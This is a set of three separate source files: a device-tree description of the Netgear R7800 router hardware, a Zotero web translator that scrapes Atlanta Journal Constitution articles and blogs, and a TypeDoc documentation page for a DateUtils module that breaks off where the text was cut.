#include "qcom-ipq8065.dtsi" #include <dt-bindings/input/input.h> / { model = "Netgear Nighthawk X4S R7800"; compatible = "netgear,r7800", "qcom,ipq8065", "qcom,ipq8064"; memory@0 { reg = <0x42000000 0x1e000000>; device_type = "memory"; }; reserved-memory { #address-cells = <1>; #size-cells = <1>; ranges; rsvd@41200000 { reg = <0x41200000 0x300000>; no-map; }; rsvd@5fe00000 { reg = <0x5fe00000 0x200000>; reusable; }; }; aliases { serial0 = &gsbi4_serial; mdio-gpio0 = &mdio0; led-boot = &power_white; led-failsafe = &power_amber; led-running = &power_white; led-upgrade = &power_amber; label-mac-device = &gmac2; }; chosen { stdout-path = "serial0:115200n8"; }; soc { pinmux@800000 { button_pins: button_pins { mux { pins = "gpio6", "gpio54", "gpio65"; function = "gpio"; drive-strength = <2>; bias-pull-up; }; }; i2c4_pins: i2c4_pinmux { mux { pins = "gpio12", "gpio13"; function = "gsbi4"; drive-strength = <12>; bias-disable; }; }; led_pins: led_pins { pins = "gpio7", "gpio8", "gpio9", "gpio22", "gpio23", "gpio24","gpio26", "gpio53", "gpio64"; function = "gpio"; drive-strength = <2>; bias-pull-down; }; nand_pins: nand_pins { disable { pins = "gpio34", "gpio35", "gpio36", "gpio37", "gpio38"; function = "nand"; drive-strength = <10>; bias-disable; }; pullups { pins = "gpio39"; function = "nand"; drive-strength = <10>; bias-pull-up; }; hold { pins = "gpio40", "gpio41", "gpio42", "gpio43", "gpio44", "gpio45", "gpio46", "gpio47"; function = "nand"; drive-strength = <10>; bias-bus-hold; }; }; mdio0_pins: mdio0_pins { mux { pins = "gpio0", "gpio1"; function = "gpio"; drive-strength = <8>; bias-disable; }; clk { pins = "gpio1"; input-disable; }; }; rgmii2_pins: rgmii2_pins { mux { pins = "gpio27", "gpio28", "gpio29", "gpio30", "gpio31", "gpio32", "gpio51", "gpio52", "gpio59", "gpio60", "gpio61", "gpio62" ; function = "rgmii2"; drive-strength = <8>; bias-disable; }; tx { pins = "gpio27", "gpio28", "gpio29", "gpio30", "gpio31", "gpio32" ; input-disable; }; }; spi_pins: spi_pins { mux { pins = "gpio18", "gpio19", "gpio21"; function = "gsbi5"; bias-pull-down; }; data { pins = "gpio18", "gpio19"; drive-strength = <10>; }; cs { pins = "gpio20"; drive-strength = <10>; bias-pull-up; }; clk { pins = "gpio21"; drive-strength = <12>; }; }; spi6_pins: spi6_pins { mux { pins = "gpio55", "gpio56", "gpio58"; function = "gsbi6"; bias-pull-down; }; mosi { pins = "gpio55"; drive-strength = <12>; }; miso { pins = "gpio56"; drive-strength = <14>; }; cs { pins = "gpio57"; drive-strength = <12>; bias-pull-up; }; clk { pins = "gpio58"; drive-strength = <12>; }; reset { pins = "gpio33"; drive-strength = <10>; bias-pull-down; output-high; }; }; usb0_pwr_en_pins: usb0_pwr_en_pins { mux { pins = "gpio15"; function = "gpio"; drive-strength = <12>; bias-pull-down; output-high; }; }; usb1_pwr_en_pins: usb1_pwr_en_pins { mux { pins = "gpio16", "gpio68"; function = "gpio"; drive-strength = <12>; bias-pull-down; output-high; }; }; }; gsbi@16300000 { qcom,mode = <GSBI_PROT_I2C_UART>; status = "okay"; serial@16340000 { status = "okay"; }; /* * The i2c device on gsbi4 should not be enabled. * On ipq806x designs gsbi4 i2c is meant for exclusive * RPM usage. Turning this on in kernel manifests as * i2c failure for the RPM. */ }; sata-phy@1b400000 { status = "okay"; }; sata@29000000 { ports-implemented = <0x1>; status = "okay"; }; usb3_0: usb3@110f8800 { status = "okay"; pinctrl-0 = <&usb0_pwr_en_pins>; pinctrl-names = "default"; }; usb3_1: usb3@100f8800 { status = "okay"; pinctrl-0 = <&usb1_pwr_en_pins>; pinctrl-names = "default"; }; pcie0: pci@1b500000 { status = "okay"; bridge@0,0 { reg = <0x00000000 0 0 0 0>; #address-cells = <3>; #size-cells = <2>; ranges; wifi@1,0 { compatible = "pci168c,0046"; reg = <0x00010000 0 0 0 0>; mtd-mac-address = <&art 6>; mtd-mac-address-increment = <(1)>; }; }; }; pcie1: pci@1b700000 { status = "okay"; force_gen1 = <1>; bridge@0,0 { reg = <0x00000000 0 0 0 0>; #address-cells = <3>; #size-cells = <2>; ranges; wifi@1,0 { compatible = "pci168c,0046"; reg = <0x00010000 0 0 0 0>; mtd-mac-address = <&art 6>; mtd-mac-address-increment = <(2)>; }; }; }; nand@1ac00000 { status = "okay"; pinctrl-0 = <&nand_pins>; pinctrl-names = "default"; cs0 { reg = <0>; compatible = "qcom,nandcs"; nand-ecc-strength = <4>; nand-bus-width = <8>; nand-ecc-step-size = <512>; partitions { compatible = "fixed-partitions"; #address-cells = <1>; #size-cells = <1>; qcadata@0 { label = "qcadata"; reg = <0x0000000 0x0c80000>; read-only; }; APPSBL@c80000 { label = "APPSBL"; reg = <0x0c80000 0x0500000>; read-only; }; APPSBLENV@1180000 { label = "APPSBLENV"; reg = <0x1180000 0x0080000>; read-only; }; art: art@1200000 { label = "art"; reg = <0x1200000 0x0140000>; read-only; }; artbak: art@1340000 { label = "artbak"; reg = <0x1340000 0x0140000>; read-only; }; kernel@1480000 { label = "kernel"; reg = <0x1480000 0x0400000>; }; ubi@1880000 { label = "ubi"; reg = <0x1880000 0x6080000>; }; reserve@7900000 { label = "reserve"; reg = <0x7900000 0x0700000>; read-only; }; }; }; }; mdio0: mdio { compatible = "virtual,mdio-gpio"; #address-cells = <1>; #size-cells = <0>; gpios = <&qcom_pinmux 1 GPIO_ACTIVE_HIGH>, <&qcom_pinmux 0 GPIO_ACTIVE_HIGH>; pinctrl-0 = <&mdio0_pins>; pinctrl-names = "default"; phy0: ethernet-phy@0 { reg = <0>; qca,ar8327-initvals = < 0x00004 0x7600000 /* PAD0_MODE */ 0x00008 0x1000000 /* PAD5_MODE */ 0x0000c 0x80 /* PAD6_MODE */ 0x000e4 0xaa545 /* MAC_POWER_SEL */ 0x000e0 0xc74164de /* SGMII_CTRL */ 0x0007c 0x4e /* PORT0_STATUS */ 0x00094 0x4e /* PORT6_STATUS */ 0x00970 0x1e864443 /* QM_PORT0_CTRL0 */ 0x00974 0x000001c6 /* QM_PORT0_CTRL1 */ 0x00978 0x19008643 /* QM_PORT1_CTRL0 */ 0x0097c 0x000001c6 /* QM_PORT1_CTRL1 */ 0x00980 0x19008643 /* QM_PORT2_CTRL0 */ 0x00984 0x000001c6 /* QM_PORT2_CTRL1 */ 0x00988 0x19008643 /* QM_PORT3_CTRL0 */ 0x0098c 0x000001c6 /* QM_PORT3_CTRL1 */ 0x00990 0x19008643 /* QM_PORT4_CTRL0 */ 0x00994 0x000001c6 /* QM_PORT4_CTRL1 */ 0x00998 0x1e864443 /* QM_PORT5_CTRL0 */ 0x0099c 0x000001c6 /* QM_PORT5_CTRL1 */ 0x009a0 0x1e864443 /* QM_PORT6_CTRL0 */ 0x009a4 0x000001c6 /* QM_PORT6_CTRL1 */ >; qca,ar8327-vlans = < 0x1 0x5e /* VLAN1 Ports 1/2/3/4/6 */ 0x2 0x21 /* VLAN2 Ports 0/5 */ >; }; phy4: ethernet-phy@4 { reg = <4>; qca,ar8327-initvals = < 0x000e4 0x6a545 /* MAC_POWER_SEL */ 0x0000c 0x80 /* PAD6_MODE */ >; }; }; gmac1: ethernet@37200000 { status = "okay"; phy-mode = "rgmii"; qcom,id = <1>; qcom,phy_mdio_addr = <4>; qcom,poll_required = <0>; qcom,rgmii_delay = <1>; qcom,phy_mii_type = <0>; qcom,emulation = <0>; qcom,irq = <255>; mdiobus = <&mdio0>; pinctrl-0 = <&rgmii2_pins>; pinctrl-names = "default"; mtd-mac-address = <&art 6>; fixed-link { speed = <1000>; full-duplex; }; }; gmac2: ethernet@37400000 { status = "okay"; phy-mode = "sgmii"; qcom,id = <2>; qcom,phy_mdio_addr = <0>; /* none */ qcom,poll_required = <0>; /* no polling */ qcom,rgmii_delay = <0>; qcom,phy_mii_type = <1>; qcom,emulation = <0>; qcom,irq = <258>; mdiobus = <&mdio0>; mtd-mac-address = <&art 0>; fixed-link { speed = <1000>; full-duplex; }; }; }; keys { compatible = "gpio-keys"; pinctrl-0 = <&button_pins>; pinctrl-names = "default"; wifi { label = "wifi"; gpios = <&qcom_pinmux 6 GPIO_ACTIVE_LOW>; linux,code = <KEY_RFKILL>; debounce-interval = <60>; wakeup-source; }; reset { label = "reset"; gpios = <&qcom_pinmux 54 GPIO_ACTIVE_LOW>; linux,code = <KEY_RESTART>; debounce-interval = <60>; wakeup-source; }; wps { label = "wps"; gpios = <&qcom_pinmux 65 GPIO_ACTIVE_LOW>; linux,code = <KEY_WPS_BUTTON>; debounce-interval = <60>; wakeup-source; }; }; leds { compatible = "gpio-leds"; pinctrl-0 = <&led_pins>; pinctrl-names = "default"; power_white: power_white { label = "r7800:white:power"; gpios = <&qcom_pinmux 53 GPIO_ACTIVE_HIGH>; default-state = "keep"; }; power_amber: power_amber { label = "r7800:amber:power"; gpios = <&qcom_pinmux 9 GPIO_ACTIVE_HIGH>; }; wan_white { label = "r7800:white:wan"; gpios = <&qcom_pinmux 22 GPIO_ACTIVE_HIGH>; }; wan_amber { label = "r7800:amber:wan"; gpios = <&qcom_pinmux 23 GPIO_ACTIVE_HIGH>; }; usb1 { label = "r7800:white:usb1"; gpios = <&qcom_pinmux 7 GPIO_ACTIVE_HIGH>; }; usb2 { label = "r7800:white:usb2"; gpios = <&qcom_pinmux 8 GPIO_ACTIVE_HIGH>; }; esata { label = "r7800:white:esata"; gpios = <&qcom_pinmux 26 GPIO_ACTIVE_HIGH>; }; wifi { label = "r7800:white:wifi"; gpios = <&qcom_pinmux 64 GPIO_ACTIVE_HIGH>; }; wps { label = "r7800:white:wps"; gpios = <&qcom_pinmux 24 GPIO_ACTIVE_HIGH>; }; }; }; &adm_dma { status = "okay"; };
{ "pile_set_name": "Github" }
{ "translatorID": "01322929-5782-4612-81f7-d861fb46d9f2", "label": "Atlanta Journal Constitution", "creator": "Sebastian Karcher", "target": "^https?://(www\\.|blogs\\.)?ajc\\.com", "minVersion": "2.1.9", "maxVersion": "", "priority": 100, "inRepository": true, "translatorType": 4, "browserSupport": "gcsibv", "lastUpdated": "2013-09-16 00:28:46" } /* FW LINE 59:b820c6d */ function flatten(t){var e=new Array;for(var i in t){var r=t[i];r instanceof Array?e=e.concat(flatten(r)):e.push(r)}return e}var FW={_scrapers:new Array};FW._Base=function(){this.callHook=function(t,e,i,r){if("object"==typeof this.hooks){var n=this.hooks[t];"function"==typeof n&&n(e,i,r)}},this.evaluateThing=function(t,e,i){var r=typeof t;if("object"===r){if(t instanceof Array){var n=this.evaluateThing,a=t.map(function(t){return n(t,e,i)});return flatten(a)}return t.evaluate(e,i)}return"function"===r?t(e,i):t},this.makeItems=function(t,e,i,r,n){n()}},FW.Scraper=function(t){FW._scrapers.push(new FW._Scraper(t))},FW._Scraper=function(t){for(x in t)this[x]=t[x];this._singleFieldNames=["abstractNote","applicationNumber","archive","archiveLocation","artworkMedium","artworkSize","assignee","audioFileType","audioRecordingType","billNumber","blogTitle","bookTitle","callNumber","caseName","code","codeNumber","codePages","codeVolume","committee","company","conferenceName","country","court","date","dateDecided","dateEnacted","dictionaryTitle","distributor","docketNumber","documentNumber","DOI","edition","encyclopediaTitle","episodeNumber","extra","filingDate","firstPage","forumTitle","genre","history","institution","interviewMedium","ISBN","ISSN","issue","issueDate","issuingAuthority","journalAbbreviation","label","language","legalStatus","legislativeBody","letterType","libraryCatalog","manuscriptType","mapType","medium","meetingName","nameOfAct","network","number","numberOfVolumes","numPages","pages","patentNumber","place","postType","presentationType","priorityNumbers","proceedingsTitle","programTitle","programmingLanguage","publicLawNumber","publicationTitle","publisher","references","reportNumber","reportType","reporter","reporterVolume","rights","runningTime","scale","section","series","seriesNumber","seriesText","seriesTitle","session","shortTitle","studio","subject","system","thesisType","title","type","university","url","version","videoRecordingType","volume","websiteTitle","websiteType"],this._makeAttachments=function(t,e,i,r){if(i instanceof Array)i.forEach(function(i){this._makeAttachments(t,e,i,r)},this);else if("object"==typeof i){var n=i.urls||i.url,a=i.types||i.type,s=i.titles||i.title,o=i.snapshots||i.snapshot,u=this.evaluateThing(n,t,e),l=this.evaluateThing(s,t,e),c=this.evaluateThing(a,t,e),h=this.evaluateThing(o,t,e);u instanceof Array||(u=[u]);for(var f in u){var p,m,v,d=u[f];p=c instanceof Array?c[f]:c,m=l instanceof Array?l[f]:l,v=h instanceof Array?h[f]:h,r.attachments.push({url:d,title:m,mimeType:p,snapshot:v})}}},this.makeItems=function(t,e,i,r,n){var a=new Zotero.Item(this.itemType);a.url=e;for(var s in this._singleFieldNames){var o=this._singleFieldNames[s];if(this[o]){var u=this.evaluateThing(this[o],t,e);u instanceof Array?a[o]=u[0]:a[o]=u}}var l=["creators","tags"];for(var c in l){var h=l[c],f=this.evaluateThing(this[h],t,e);if(f)for(var p in f)a[h].push(f[p])}this._makeAttachments(t,e,this.attachments,a),r(a,this,t,e),n()}},FW._Scraper.prototype=new FW._Base,FW.MultiScraper=function(t){FW._scrapers.push(new FW._MultiScraper(t))},FW._MultiScraper=function(t){for(x in t)this[x]=t[x];this._mkSelectItems=function(t,e){var i=new Object;for(var r in t)i[e[r]]=t[r];return i},this._selectItems=function(t,e,i){var r=new Array;Zotero.selectItems(this._mkSelectItems(t,e),function(t){for(var e in t)r.push(e);i(r)})},this._mkAttachments=function(t,e,i){var r=this.evaluateThing(this.attachments,t,e),n=new Object;if(r)for(var a in i)n[i[a]]=r[a];return n},this._makeChoices=function(t,e,i,r,n){if(t instanceof Array)t.forEach(function(t){this._makeTitlesUrls(t,e,i,r,n)},this);else if("object"==typeof t){var a=t.urls||t.url,s=t.titles||t.title,o=this.evaluateThing(a,e,i),u=this.evaluateThing(s,e,i),l=u instanceof Array;o instanceof Array||(o=[o]);for(var c in o){var h,f=o[c];h=l?u[c]:u,n.push(f),r.push(h)}}},this.makeItems=function(t,e,i,r,n){if(this.beforeFilter){var a=this.beforeFilter(t,e);if(a!=e)return void this.makeItems(t,a,i,r,n)}var s=[],o=[];this._makeChoices(this.choices,t,e,s,o);var u=this._mkAttachments(t,e,o),l=this.itemTrans;this._selectItems(s,o,function(t){if(t){var e=function(t){var e=t.documentURI,i=l;void 0===i&&(i=FW.getScraper(t,e)),void 0===i||i.makeItems(t,e,u[e],r,function(){})};Zotero.Utilities.processDocuments(t,e,n)}else n()})}},FW._MultiScraper.prototype=new FW._Base,FW.WebDelegateTranslator=function(t){return new FW._WebDelegateTranslator(t)},FW._WebDelegateTranslator=function(t){for(x in t)this[x]=t[x];this.makeItems=function(t,e,i,r,n){var a=this,s=Zotero.loadTranslator("web");s.setHandler("itemDone",function(i,n){r(n,a,t,e)}),s.setDocument(t),this.translatorId?(s.setTranslator(this.translatorId),s.translate()):(s.setHandler("translators",function(t,e){e.length&&(s.setTranslator(e[0]),s.translate())}),s.getTranslators()),n()}},FW._WebDelegateTranslator.prototype=new FW._Base,FW._StringMagic=function(){this._filters=new Array,this.addFilter=function(t){return this._filters.push(t),this},this.split=function(t){return this.addFilter(function(e){return e.split(t).filter(function(t){return""!=t})})},this.replace=function(t,e,i){return this.addFilter(function(r){return r.match(t)?r.replace(t,e,i):r})},this.prepend=function(t){return this.replace(/^/,t)},this.append=function(t){return this.replace(/$/,t)},this.remove=function(t,e){return this.replace(t,"",e)},this.trim=function(){return this.addFilter(function(t){return Zotero.Utilities.trim(t)})},this.trimInternal=function(){return this.addFilter(function(t){return Zotero.Utilities.trimInternal(t)})},this.match=function(t,e){return e||(e=0),this.addFilter(function(i){var r=i.match(t);return void 0===r||null===r?void 0:r[e]})},this.cleanAuthor=function(t,e){return this.addFilter(function(i){return Zotero.Utilities.cleanAuthor(i,t,e)})},this.key=function(t){return this.addFilter(function(e){return e[t]})},this.capitalizeTitle=function(){return this.addFilter(function(t){return Zotero.Utilities.capitalizeTitle(t)})},this.unescapeHTML=function(){return this.addFilter(function(t){return Zotero.Utilities.unescapeHTML(t)})},this.unescape=function(){return this.addFilter(function(t){return unescape(t)})},this._applyFilters=function(t,e){for(i in this._filters){t=flatten(t),t=t.filter(function(t){return void 0!==t&&null!==t});for(var r=0;r<t.length;r++)try{if(void 0===t[r]||null===t[r])continue;t[r]=this._filters[i](t[r],e)}catch(n){t[r]=void 0,Zotero.debug("Caught exception "+n+"on filter: "+this._filters[i])}t=t.filter(function(t){return void 0!==t&&null!==t})}return flatten(t)}},FW.PageText=function(){return new FW._PageText},FW._PageText=function(){this._filters=new Array,this.evaluate=function(t){var e=[t.documentElement.innerHTML];return e=this._applyFilters(e,t),0==e.length?!1:e}},FW._PageText.prototype=new FW._StringMagic,FW.Url=function(){return new FW._Url},FW._Url=function(){this._filters=new Array,this.evaluate=function(t,e){var i=[e];return i=this._applyFilters(i,t),0==i.length?!1:i}},FW._Url.prototype=new FW._StringMagic,FW.Xpath=function(t){return new FW._Xpath(t)},FW._Xpath=function(t){this._xpath=t,this._filters=new Array,this.text=function(){var t=function(t){return"object"==typeof t&&t.textContent?t.textContent:t};return this.addFilter(t),this},this.sub=function(t){var e=function(e,i){var r=i.evaluate(t,e,null,XPathResult.ANY_TYPE,null);return r?r.iterateNext():void 0};return this.addFilter(e),this},this.evaluate=function(t){var e=t.evaluate(this._xpath,t,null,XPathResult.ANY_TYPE,null),i=e.resultType,r=new Array;if(i==XPathResult.STRING_TYPE)r.push(e.stringValue);else if(i==XPathResult.BOOLEAN_TYPE)r.push(e.booleanValue);else if(i==XPathResult.NUMBER_TYPE)r.push(e.numberValue);else if(i==XPathResult.ORDERED_NODE_ITERATOR_TYPE||i==XPathResult.UNORDERED_NODE_ITERATOR_TYPE)for(var n;n=e.iterateNext();)r.push(n);return r=this._applyFilters(r,t),0==r.length?!1:r}},FW._Xpath.prototype=new FW._StringMagic,FW.detectWeb=function(t,e){for(var i in FW._scrapers){var r=FW._scrapers[i],n=r.evaluateThing(r.itemType,t,e),a=r.evaluateThing(r.detect,t,e);if(a.length>0&&a[0])return n}},FW.getScraper=function(t,e){var i=FW.detectWeb(t,e);return FW._scrapers.filter(function(r){return r.evaluateThing(r.itemType,t,e)==i&&r.evaluateThing(r.detect,t,e)})[0]},FW.doWeb=function(t,e){var i=FW.getScraper(t,e);i.makeItems(t,e,[],function(t,e,i,r){e.callHook("scraperDone",t,i,r),t.title||(t.title=""),t.complete()},function(){Zotero.done()}),Zotero.wait()}; /* ***** BEGIN LICENSE BLOCK ***** AJC.com Translator, Copyright © 2012 Sebastian Karcher Developed with the collaboration of the participants of the 2012 Zotero Trainer Workshop in Atlanta, GA. This file is part of Zotero. Zotero is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Zotero is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with Zotero. If not, see <http://www.gnu.org/licenses/>. ***** END LICENSE BLOCK ***** */ function detectWeb(doc, url) { return FW.detectWeb(doc, url); } function doWeb(doc, url) { return FW.doWeb(doc, url); } /** Articles */ FW.Scraper({ itemType : 'newspaperArticle', detect : FW.Xpath('//h1[@class="cmLargerH1"]'), title : FW.Xpath('//h1[@class="cmLargerH1"]').text().trim(), attachments : [{ url: FW.Url(), title: "AJC Snapshot", type: "text/html" }], creators : FW.Xpath('//p[@class="cmCredit"]').text().remove(/By\s/).capitalizeTitle(true).split(/\s*,\s*/).cleanAuthor("author"), date : FW.Xpath('//div[@class="cmTimeStamp"]/p').text().remove(/.+\|/).remove(/Posted:\s\d+:\d+\s[amp\.]+/).trim(), section : FW.Xpath('//div[@class="cmBreadcrumb"]/ul/li[last()]/a').text(), abstractNote : FW.Xpath('//meta[@name="description"]/@content').text(), ISSN : "1539-7459", publicationTitle : "Atlanta Journal Constitution" }); /**Blog Posts */ FW.Scraper({ itemType : 'blogPost', detect : FW.Url().match(/blogs\.ajc\.com.+\/\d{4}/), title : FW.Xpath('//h1').text().trim(), attachments : [{ url: FW.Url(), title: "AJC Blog Snapshot", type: "text/html" }], creators : FW.Xpath('//p[@class="byline"]/span[@class="author"]').text().replace(/By\s/," ").capitalizeTitle(true).cleanAuthor("author"), date : FW.Xpath('//p[@class="byline"]/span[@class="date"]').text().remove(/.+\|/).remove(/Posted:\s\d+:\d+\s[amp\.]+/).trim(), abstractNote : FW.Xpath('//meta[@name="description"]/@content').text(), ISSN : "1539-7459", publicationTitle : FW.Xpath('//div[contains(@class, "blog-header")]/a').text().prepend("Atlanta Journal Constitution: ").append(" Blog"), }); FW.MultiScraper({ itemType : 'multiple', detect : FW.Url().match(/\/search\/\?q=/), choices : { titles : FW.Xpath('//h4/a[contains(@href, "ajc.com")]').text().trim(), urls : FW.Xpath('//h4/a[contains(@href, "ajc.com")]').key("href") } }); /** BEGIN TEST CASES **/ var testCases = [ { "type": "web", "url": "http://blogs.ajc.com/business-beat/2012/10/13/ted-turner-%e2%80%98taking-risks-depends-on-how-good-your-judgment-is%e2%80%99/?cxntfid=blogs_business_beat", "items": [ { "itemType": "blogPost", "creators": [ { "firstName": "Henry", "lastName": "Unger", "creatorType": "author" } ], "notes": [], "tags": [], "seeAlso": [], "attachments": [ { "title": "AJC Blog Snapshot", "type": "text/html" } ], "url": "http://blogs.ajc.com/business-beat/2012/10/13/ted-turner-%e2%80%98taking-risks-depends-on-how-good-your-judgment-is%e2%80%99/?cxntfid=blogs_business_beat", "abstractNote": "Before there was a 24 / 7, all-news cable network and before giving away money became more common among top business execs, there was Ted Turner with a vision", "date": "October 13, 2012,", "ISSN": "1539-7459", "publicationTitle": "Atlanta Journal Constitution: The Biz Beat Blog", "title": "Ted Turner: ‘Taking risks depends on how good your judgment is’", "libraryCatalog": "Atlanta Journal Constitution", "accessDate": "CURRENT_TIMESTAMP", "shortTitle": "Ted Turner" } ] }, { "type": "web", "url": "http://www.ajc.com/news/news/romney-tops-obama-in-georgia-as-economy-dominates-/nScjq/", "items": [ { "itemType": "newspaperArticle", "creators": [ { "firstName": "Aaron Gould", "lastName": "Sheinin", "creatorType": "author" } ], "notes": [], "tags": [], "seeAlso": [], "attachments": [ { "title": "AJC Snapshot", "type": "text/html" } ], "url": "http://www.ajc.com/news/news/romney-tops-obama-in-georgia-as-economy-dominates-/nScjq/", "abstractNote": "Mitt Romney has a strong lead over Barack Obama in Georgia among likely voters just three weeks until the presidential election, but a new poll for The Atlanta Journal-Constitution finds Georgians, by a larger margin, expect Obama to be re-elected in November.", "date": "Sunday, Oct. 14, 2012", "ISSN": "1539-7459", "publicationTitle": "Atlanta Journal Constitution", "section": "News", "title": "Romney tops Obama in Georgia as economy dominates campaign", "libraryCatalog": "Atlanta Journal Constitution", "accessDate": "CURRENT_TIMESTAMP" } ] }, { "type": "web", "url": "http://www.ajc.com/search/?q=labor&type=", "items": "multiple" } ] /** END TEST CASES **/
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>&quot;utils/DateUtils&quot; | p1 wiki</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">p1 wiki</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="_utils_dateutils_.html">&quot;utils/DateUtils&quot;</a> </li> </ul> <h1>External module &quot;utils/DateUtils&quot;</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section tsd-is-not-exported"> <h3>Modules</h3> <ul class="tsd-index-list"> <li class="tsd-kind-module tsd-parent-kind-external-module tsd-is-not-exported"><a href="_utils_dateutils_.core.html" class="tsd-kind-icon">core</a></li> </ul> </section> </div> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module"> <a href="_utils_dateutils_.html">"utils/<wbr>Date<wbr>Utils"</a> <ul> <li class=" tsd-kind-module tsd-parent-kind-external-module tsd-is-not-exported"> <a href="_utils_dateutils_.core.html">core</a> </li> </ul> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="http://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if 